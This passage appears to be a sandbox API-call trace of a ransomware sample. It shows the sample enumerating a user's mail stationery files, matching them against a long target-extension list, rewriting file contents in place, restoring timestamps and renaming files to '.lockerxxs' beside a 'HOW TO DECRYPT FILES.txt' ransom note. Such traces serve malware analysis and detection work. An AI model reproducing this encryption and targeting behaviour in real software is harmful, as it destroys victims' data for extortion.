(hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.985] CloseHandle (hObject=0x98) returned 1 [0084.985] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.lockerxxs")) returned 1 [0084.987] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x3800033b, dwReserved1=0x4e00c4, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0084.987] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0084.987] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Garden.jpg") returned -1 [0084.987] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Garden.jpg") returned 1 [0084.987] lstrcmpiA (lpString1="", lpString2="Garden.jpg") returned -1 [0084.987] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned="Garden.htm" [0084.987] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0084.987] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0084.987] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0084.988] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0084.988] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Garden.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.ems") returned 0 [0084.988] lstrlenA (lpString="*.ems") returned 5 [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.db") returned 0 [0084.988] lstrlenA (lpString="*.db") returned 4 [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.dbf") returned 0 [0084.988] lstrlenA (lpString="*.dbf") returned 5 [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.myox") returned 0 [0084.988] lstrlenA (lpString="*.myox") returned 6 [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.myo") returned 0 [0084.988] lstrlenA (lpString="*.myo") returned 5 [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qbw") returned 0 [0084.988] lstrlenA (lpString="*.qbw") returned 5 [0084.988] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qbb") returned 0 [0084.988] lstrlenA (lpString="*.qbb") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qbm") returned 0 [0084.989] lstrlenA (lpString="*.qbm") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qbo") returned 0 [0084.989] lstrlenA (lpString="*.qbo") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qbx") returned 0 [0084.989] lstrlenA (lpString="*.qbx") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qba") returned 0 [0084.989] lstrlenA (lpString="*.qba") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qby") returned 0 [0084.989] lstrlenA (lpString="*.qby") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qbj") returned 0 [0084.989] lstrlenA (lpString="*.qbj") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.ofx") returned 0 [0084.989] lstrlenA (lpString="*.ofx") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.qif") returned 0 [0084.989] lstrlenA (lpString="*.qif") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.mye") returned 0 [0084.989] lstrlenA (lpString="*.mye") returned 5 [0084.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.mbox") returned 0 [0084.990] lstrlenA (lpString="*.mbox") returned 6 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.eml") returned 0 [0084.990] lstrlenA (lpString="*.eml") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.pst") returned 0 [0084.990] lstrlenA (lpString="*.pst") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.ost") returned 0 [0084.990] lstrlenA (lpString="*.ost") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.idx") returned 0 [0084.990] lstrlenA (lpString="*.idx") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.dbx") returned 0 [0084.990] lstrlenA (lpString="*.dbx") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.sql") returned 0 [0084.990] lstrlenA (lpString="*.sql") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.mdb") returned 0 [0084.990] lstrlenA (lpString="*.mdb") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.fdb") returned 0 [0084.990] lstrlenA (lpString="*.fdb") returned 5 [0084.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.wab") returned 0 [0084.990] lstrlenA (lpString="*.wab") returned 5 [0084.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.dat") returned 0 [0084.991] lstrlenA (lpString="*.dat") returned 5 [0084.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.txt") returned 0 [0084.991] lstrlenA (lpString="*.txt") returned 5 [0084.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.jpeg") returned 0 [0084.991] lstrlenA (lpString="*.jpeg") returned 6 [0084.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", pszSpec="*.jpg") returned 1 [0084.991] lstrlenA (lpString="*.jpg") returned 5 [0084.991] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" [0084.991] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" [0084.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg." [0084.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.lockerxxs" [0084.991] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0084.992] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5d3f [0084.992] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa410937, dwHighDateTime=0x1c9ea0c)) returned 1 [0084.992] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.992] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5d19, lpOverlapped=0x0) returned 1 [0084.996] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned="Garden.jpg" [0084.997] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.997] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5d19, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5d19, lpOverlapped=0x0) returned 1 [0084.997] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.997] CloseHandle (hObject=0x98) returned 1 [0084.997] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.lockerxxs")) returned 1 [0085.000] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x3800033b, dwReserved1=0x4e00c4, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1 [0085.000] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.000] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Green Bubbles.htm") returned -1 [0085.000] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Green Bubbles.htm") returned 1 [0085.000] lstrcmpiA (lpString1="", lpString2="Green Bubbles.htm") returned -1 [0085.000] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned="Garden.jpg" [0085.000] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.000] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.000] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.001] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.001] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Green Bubbles.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" [0085.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.ems") returned 0 [0085.001] lstrlenA (lpString="*.ems") returned 5 [0085.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.db") returned 0 [0085.001] lstrlenA (lpString="*.db") returned 4 [0085.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.dbf") returned 0 [0085.001] lstrlenA (lpString="*.dbf") returned 5 [0085.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.myox") returned 0 [0085.001] lstrlenA (lpString="*.myox") returned 6 [0085.001] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.myo") returned 0 [0085.002] lstrlenA (lpString="*.myo") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qbw") returned 0 [0085.002] lstrlenA (lpString="*.qbw") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qbb") returned 0 [0085.002] lstrlenA (lpString="*.qbb") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qbm") returned 0 [0085.002] lstrlenA (lpString="*.qbm") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qbo") returned 0 [0085.002] lstrlenA (lpString="*.qbo") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qbx") returned 0 [0085.002] lstrlenA (lpString="*.qbx") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qba") returned 0 [0085.002] lstrlenA (lpString="*.qba") returned 5 [0085.002] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qby") returned 0 [0085.002] lstrlenA (lpString="*.qby") returned 5 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qbj") returned 0 [0085.003] lstrlenA (lpString="*.qbj") returned 5 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.ofx") returned 0 [0085.003] lstrlenA (lpString="*.ofx") returned 5 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.qif") returned 0 [0085.003] lstrlenA (lpString="*.qif") returned 5 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.mye") returned 0 [0085.003] lstrlenA (lpString="*.mye") returned 5 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.mbox") returned 0 [0085.003] lstrlenA (lpString="*.mbox") returned 6 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.eml") returned 0 [0085.003] lstrlenA (lpString="*.eml") returned 5 [0085.003] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.pst") returned 0 [0085.003] lstrlenA (lpString="*.pst") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.ost") returned 0 [0085.004] lstrlenA (lpString="*.ost") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.idx") returned 0 [0085.004] lstrlenA (lpString="*.idx") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.dbx") returned 0 [0085.004] lstrlenA (lpString="*.dbx") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.sql") returned 0 [0085.004] lstrlenA (lpString="*.sql") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.mdb") returned 0 [0085.004] lstrlenA (lpString="*.mdb") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.fdb") returned 0 [0085.004] lstrlenA (lpString="*.fdb") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.wab") returned 0 [0085.004] lstrlenA (lpString="*.wab") returned 5 [0085.004] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.dat") returned 0 [0085.005] lstrlenA (lpString="*.dat") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.txt") returned 0 [0085.005] lstrlenA (lpString="*.txt") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.jpeg") returned 0 [0085.005] lstrlenA (lpString="*.jpeg") returned 6 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.jpg") returned 0 [0085.005] lstrlenA (lpString="*.jpg") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.png") returned 0 [0085.005] lstrlenA (lpString="*.png") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.php") returned 0 [0085.005] lstrlenA (lpString="*.php") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.cs") returned 0 [0085.005] lstrlenA (lpString="*.cs") returned 4 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.cpp") returned 0 [0085.005] lstrlenA (lpString="*.cpp") returned 5 [0085.005] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", pszSpec="*.rar") returned 